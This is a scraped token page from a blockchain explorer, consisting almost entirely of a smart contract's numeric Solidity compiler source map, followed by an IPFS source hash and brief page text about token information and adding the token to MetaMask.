:1;13090:135:0;;;9661:21:1;9718:2;9698:18;;;9691:30;9757:34;9737:18;;;9730:62;-1:-1:-1;;;9808:18:1;;;9801:35;9853:19;;13090:135:0;9477:401:1;13090:135:0;13230:24;13247:6;13230:16;:24::i;:::-;13283:34;13299:6;13307:9;13283:15;:34::i;:::-;13262:55;;;;;;;;13326:59;13341:7;13350;13359:6;13367:17;;13326:14;:59::i;:::-;13322:99;;;13390:27;13410:6;13390:19;:27::i;:::-;13425:63;13444:6;13452:9;13463:6;13471:7;13480;13425:18;:63::i;:::-;-1:-1:-1;13498:4:0;;12389:1117;-1:-1:-1;;;;;;12389:1117:0:o;6856:305::-;6984:58;;;;;;;;;;;-1:-1:-1;;;6984:58:0;;;;;;;;-1:-1:-1;;;;;6984:17:0;;6955:4;6984:17;;;:9;:17;;;;;;;:58;;7008:6;;6984:21;:58::i;:::-;-1:-1:-1;;;;;6964:17:0;;;;;;;:9;:17;;;;;;:78;;;;7068:20;;;;;;;:32;;7093:6;7068:24;:32::i;:::-;-1:-1:-1;;;;;7045:20:0;;;;;;;:9;:20;;;;;;;:55;;;;7108:35;;;;;;;;;;7136:6;1500:25:1;;1488:2;1473:18;;1354:177;7108:35:0;;;;;;;;-1:-1:-1;7153:4:0;6856:305;;;;;:::o;11563:192::-;11672:4;;11642;;-1:-1:-1;;;;;11659:17:0;;;11672:4;;11659:17;;;;:39;;-1:-1:-1;11694:4:0;;-1:-1:-1;;;;;11681:17:0;;;11694:4;;11681:17;;11659:39;:64;;;;-1:-1:-1;;;;;;11704:19:0;;;;;;:11;:19;;;;;;;;11703:20;11659:64;:92;;;;-1:-1:-1;;;;;;;11729:22:0;;;;;:11;:22;;;;;;;;11728:23;;11563:192;-1:-1:-1;11563:192:0:o;14025:95::-;14092:4;;-1:-1:-1;;;;;14092:4:0;;;14082:14;;;;14079:38;;14101:10;:12;;;:10;:12;;;:::i;:::-;;;;;;14025:95;:::o;11757:287::-;11831:4;11837;11848:13;11868:15;11886:16;11897:4;-1:-1:-1;;;;;14200:19:0;14183:4;14200:19;;;:11;:19;;;;;;;;14199:20;;14124:99;11886:16;11916:4;;11868:34;;-1:-1:-1;;;;;;11916:4:0;;;11910:10;;;;11907:102;;11936:1;11925:12;;11907:102;;;11959:4;;-1:-1:-1;;;;;11959:4:0;;;11951:12;;;;11947:62;;11979:1;11968:12;;11947:62;;;12004:1;11993:12;;11947:62;12019:10;12031:8;;-1:-1:-1;11757:287:0;-1:-1:-1;;;11757:287:0:o;10843:438::-;11089:4;10964;6830:18;;;:9;:18;;;;;;10997:6;;11030:7;;11100:16;11142:11;11119:20;:34;:65;;;;;11173:11;11157:13;:27;11119:65;11198:6;;11100:84;;-1:-1:-1;11198:6:0;;11197:7;:25;;;;;11209:13;11197:25;:48;;;;;11244:1;11228:13;:17;11197:48;:64;;;;;11250:11;11197:64;:80;;;;-1:-1:-1;11266:11:0;;-1:-1:-1;;;11266:11:0;;;;11197:80;11189:88;10843:438;-1:-1:-1;;;;;;;;;10843:438:0:o;8148:503::-;6216:6;:13;;-1:-1:-1;;6216:13:0;6225:4;6216:13;;;8257:4:::1;-1:-1:-1::0;6830:18:0;;;:9;:18;;;;;;8216:47:::1;;8266:20;8289:43;8293:6;8301:30;8305:12;8319:11;;8301:3;:30::i;:::-;8289:3;:43::i;:::-;8361:16;::::0;;8375:1:::1;8361:16:::0;;;;;::::1;::::0;;8266:66;;-1:-1:-1;8337:21:0::1;::::0;8361:16;;::::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;8361:16:0::1;8337:40;;8398:4;8380;8385:1;8380:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;8380:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;8416:6:::1;::::0;:13:::1;::::0;;-1:-1:-1;;;8416:13:0;;;;:6;;;::::1;::::0;:11:::1;::::0;:13:::1;::::0;;::::1;::::0;8380:7;;8416:13;;;;;:6;:13:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8406:4;8411:1;8406:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;8406:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;:23;8434:6:::1;::::0;:120:::1;::::0;-1:-1:-1;;;8434:120:0;;:6;::::1;::::0;:57:::1;::::0;:120:::1;::::0;8494:12;;8434:6:::1;::::0;8513:4;;8528::::1;::::0;8536:15:::1;::::0;8434:120:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;8614:9:0::1;::::0;8606:41:::1;::::0;8582:21:::1;::::0;-1:-1:-1;;;;;;8614:9:0;;::::1;::::0;-1:-1:-1;8606:41:0;::::1;;;::::0;8582:21;;8559:20:::1;8606:41:::0;8559:20;8606:41;8582:21;8614:9;8606:41;::::1;;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;6236:6:0;:14;;-1:-1:-1;;6236:14:0;;;-1:-1:-1;;;;8148:503:0:o;9510:481::-;9642:4;9653:20;9677:23;9739:37;9752:6;9760:7;9769:6;9739:12;:37::i;:::-;9799:64;;;;;;;;;;;-1:-1:-1;;;9799:64:0;;;;;;;;-1:-1:-1;;;;;9799:17:0;;-1:-1:-1;9799:17:0;;;:9;:17;;;;;;;;9705:71;;-1:-1:-1;9705:71:0;;-1:-1:-1;9799:64:0;;:17;9705:71;;9799:21;:64::i;:::-;-1:-1:-1;;;;;9779:17:0;;;;;;;:9;:17;;;;;;:84;;;;9889:20;;;;;;;:41;;9914:15;9889:24;:41::i;:::-;-1:-1:-1;;;;;9866:20:0;;;;;;;:9;:20;;;;;;;:64;;;;9938:35;;;;;;;;;;9966:6;1500:25:1;;1488:2;1473:18;;1354:177;9938:35:0;;;;;;;;-1:-1:-1;9983:4:0;;9510:481;-1:-1:-1;;;;;;;9510:481:0:o;278:151::-;336:7;;360:5;364:1;360;:5;:::i;:::-;348:17;;381:1;376;:6;;368:46;;;;-1:-1:-1;;;368:46:0;;11070:2:1;368:46:0;;;11052:21:1;11109:2;11089:18;;;11082:30;11148:29;11128:18;;;11121:57;11195:18;;368:46:0;10868:351:1;10657:88:0;10714:7;10735:1;10733;:3;10732:9;;10740:1;10732:9;;;-1:-1:-1;10738:1:0;10657:88;-1:-1:-1;10657:88:0:o;7700:358::-;7783:7;7792;7804:15;7822:7;:96;;7843:12;;-1:-1:-1;;;7843:12:0;;;;:75;;7911:7;7822:96;;7843:75;7859:47;7881:6;7889:7;7898;7859:21;:47::i;:::-;7822:96;;;7833:7;7822:96;7941:12;;7804:114;;-1:-1:-1;7923:15:0;;-1:-1:-1;;;7941:12:0;;;;:23;;;;;7957:7;7941:23;:85;;8019:7;7941:85;;;7968:47;7990:6;7998:7;8007;7968:21;:47::i;:::-;8037:7;;;;-1:-1:-1;7700:358:0;;-1:-1:-1;;;;;7700:358:0:o;8770:699::-;8870:7;;8933:3;8941:283;;;;8975:1;8963:9;:13;8960:232;;;9006:16;;8995:10;;:27;:58;;9041:12;;8995:58;;;9025:13;;8995:58;8981:73;;8941:283;;8960:232;9070:13;;9067:122;;9113:15;;9102:10;;:26;:55;;9146:11;;9102:55;;;9131:12;;9088:70;;8941:283;;9067:122;9184:1;9171:14;;8941:283;;;9219:1;9206:14;;8941:283;9228:18;9249:47;9277:18;9249:23;:7;9261:10;9249:11;:23::i;:::-;:27;;:47::i;:::-;9344:4;9326:24;;;;:9;:24;;;;;;9228:68;;-1:-1:-1;9326:40:0;;9228:68;9326:28;:40::i;:::-;9317:4;9299:24;;;;:9;:24;;;;;:67;9382:9;:48;;9407:23;:7;9419:10;9407:11;:23::i;:::-;9382:48;;;9394:10;9382:48;9369:61;-1:-1:-1;9442:23:0;:7;9369:61;9442:11;:23::i;:::-;9435:30;8770:699;-1:-1:-1;;;;;;;8770:699:0:o;733:190::-;791:7;807:1;812;807:6;803:27;;-1:-1:-1;825:1:0;818:8;;803:27;832:9;844:5;848:1;844;:5;:::i;:::-;832:17;-1:-1:-1;869:1:0;860:5;864:1;832:17;860:5;:::i;:::-;:10;852:56;;;;-1:-1:-1;;;852:56:0;;11821:2:1;852:56:0;;;11803:21:1;11860:2;11840:18;;;11833:30;11899:34;11879:18;;;11872:62;-1:-1:-1;;;11950:18:1;;;11943:31;11991:19;;852:56:0;11619:397:1;927:120:0;985:7;1004:39;1008:1;1011;1004:39;;;;;;;;;;;;;;;;;:3;:39::i;433:124::-;491:7;510:43;514:1;517;510:43;;;;;;;;;;;;;;;;;:3;:43::i;1051:167::-;1143:7;1170:12;1163:5;1155:28;;;;-1:-1:-1;;;1155:28:0;;;;;;;;:::i;:::-;-1:-1:-1;1186:9:0;1198:5;1202:1;1198;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;759:131::-;-1:-1:-1;;;;;834:31:1;;824:42;;814:70;;880:1;877;870:12;895:134;963:20;;992:31;963:20;992:31;:::i;:::-;895:134;;;:::o;1034:315::-;1102:6;1110;1163:2;1151:9;1142:7;1138:23;1134:32;1131:52;;;1179:1;1176;1169:12;1131:52;1218:9;1205:23;1237:31;1262:5;1237:31;:::i;:::-;1287:5;1339:2;1324:18;;;;1311:32;;-1:-1:-1;;;1034:315:1:o;1536:127::-;1597:10;1592:3;1588:20;1585:1;1578:31;1628:4;1625:1;1618:15;1652:4;1649:1;1642:15;1668:1121;1752:6;1783:2;1826;1814:9;1805:7;1801:23;1797:32;1794:52;;;1842:1;1839;1832:12;1794:52;1882:9;1869:23;1911:18;1952:2;1944:6;1941:14;1938:34;;;1968:1;1965;1958:12;1938:34;2006:6;1995:9;1991:22;1981:32;;2051:7;2044:4;2040:2;2036:13;2032:27;2022:55;;2073:1;2070;2063:12;2022:55;2109:2;2096:16;2131:2;2127;2124:10;2121:36;;;2137:18;;:::i;:::-;2183:2;2180:1;2176:10;2215:2;2209:9;2278:2;2274:7;2269:2;2265;2261:11;2257:25;2249:6;2245:38;2333:6;2321:10;2318:22;2313:2;2301:10;2298:18;2295:46;2292:72;;;2344:18;;:::i;:::-;2380:2;2373:22;2430:18;;;2464:15;;;;-1:-1:-1;2506:11:1;;;2502:20;;;2534:19;;;2531:39;;;2566:1;2563;2556:12;2531:39;2590:11;;;;2610:148;2626:6;2621:3;2618:15;2610:148;;;2692:23;2711:3;2692:23;:::i;:::-;2680:36;;2643:12;;;;2736;;;;2610:148;;;2777:6;1668:1121;-1:-1:-1;;;;;;;;1668:1121:1:o;2794:456::-;2871:6;2879;2887;2940:2;2928:9;2919:7;2915:23;2911:32;2908:52;;;2956:1;2953;2946:12;2908:52;2995:9;2982:23;3014:31;3039:5;3014:31;:::i;:::-;3064:5;-1:-1:-1;3121:2:1;3106:18;;3093:32;3134:33;3093:32;3134:33;:::i;:::-;2794:456;;3186:7;;-1:-1:-1;;;3240:2:1;3225:18;;;;3212:32;;2794:456::o;3255:180::-;3314:6;3367:2;3355:9;3346:7;3342:23;3338:32;3335:52;;;3383:1;3380;3373:12;3335:52;-1:-1:-1;3406:23:1;;3255:180;-1:-1:-1;3255:180:1:o;3440:247::-;3499:6;3552:2;3540:9;3531:7;3527:23;3523:32;3520:52;;;3568:1;3565;3558:12;3520:52;3607:9;3594:23;3626:31;3651:5;3626:31;:::i;4089:388::-;4157:6;4165;4218:2;4206:9;4197:7;4193:23;4189:32;4186:52;;;4234:1;4231;4224:12;4186:52;4273:9;4260:23;4292:31;4317:5;4292:31;:::i;:::-;4342:5;-1:-1:-1;4399:2:1;4384:18;;4371:32;4412:33;4371:32;4412:33;:::i;:::-;4464:7;4454:17;;;4089:388;;;;;:::o;4716:329::-;4918:2;4900:21;;;4957:1;4937:18;;;4930:29;-1:-1:-1;;;4990:2:1;4975:18;;4968:36;5036:2;5021:18;;4716:329::o;5050:127::-;5111:10;5106:3;5102:20;5099:1;5092:31;5142:4;5139:1;5132:15;5166:4;5163:1;5156:15;5182:127;5243:10;5238:3;5234:20;5231:1;5224:31;5274:4;5271:1;5264:15;5298:4;5295:1;5288:15;5314:135;5353:3;5374:17;;;5371:43;;5394:18;;:::i;:::-;-1:-1:-1;5441:1:1;5430:13;;5314:135::o;6157:251::-;6227:6;6280:2;6268:9;6259:7;6255:23;6251:32;6248:52;;;6296:1;6293;6286:12;6248:52;6328:9;6322:16;6347:31;6372:5;6347:31;:::i;7334:306::-;7422:6;7430;7438;7491:2;7479:9;7470:7;7466:23;7462:32;7459:52;;;7507:1;7504;7497:12;7459:52;7536:9;7530:16;7520:26;;7586:2;7575:9;7571:18;7565:25;7555:35;;7630:2;7619:9;7615:18;7609:25;7599:35;;7334:306;;;;;:::o;7645:128::-;7712:9;;;7733:11;;;7730:37;;;7747:18;;:::i;9347:125::-;9412:9;;;9433:10;;;9430:36;;;9446:18;;:::i;9883:980::-;10145:4;10193:3;10182:9;10178:19;10224:6;10213:9;10206:25;10250:2;10288:6;10283:2;10272:9;10268:18;10261:34;10331:3;10326:2;10315:9;10311:18;10304:31;10355:6;10390;10384:13;10421:6;10413;10406:22;10459:3;10448:9;10444:19;10437:26;;10498:2;10490:6;10486:15;10472:29;;10519:1;10529:195;10543:6;10540:1;10537:13;10529:195;;;10608:13;;-1:-1:-1;;;;;10604:39:1;10592:52;;10699:15;;;;10664:12;;;;10640:1;10558:9;10529:195;;;-1:-1:-1;;;;;;;10780:32:1;;;;10775:2;10760:18;;10753:60;-1:-1:-1;;;10844:3:1;10829:19;10822:35;10741:3;9883:980;-1:-1:-1;;;9883:980:1:o;11224:168::-;11297:9;;;11328;;11345:15;;;11339:22;;11325:37;11315:71;;11366:18;;:::i;11397:217::-;11437:1;11463;11453:132;;11507:10;11502:3;11498:20;11495:1;11488:31;11542:4;11539:1;11532:15;11570:4;11567:1;11560:15;11453:132;-1:-1:-1;11599:9:1;;11397:217::o
Swarm Source
ipfs://677dd1ce356f878643c195717d5c0d224fcd18ec08999abe93a8636a6dff4cc4
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.
Add Token to MetaMask (Web3)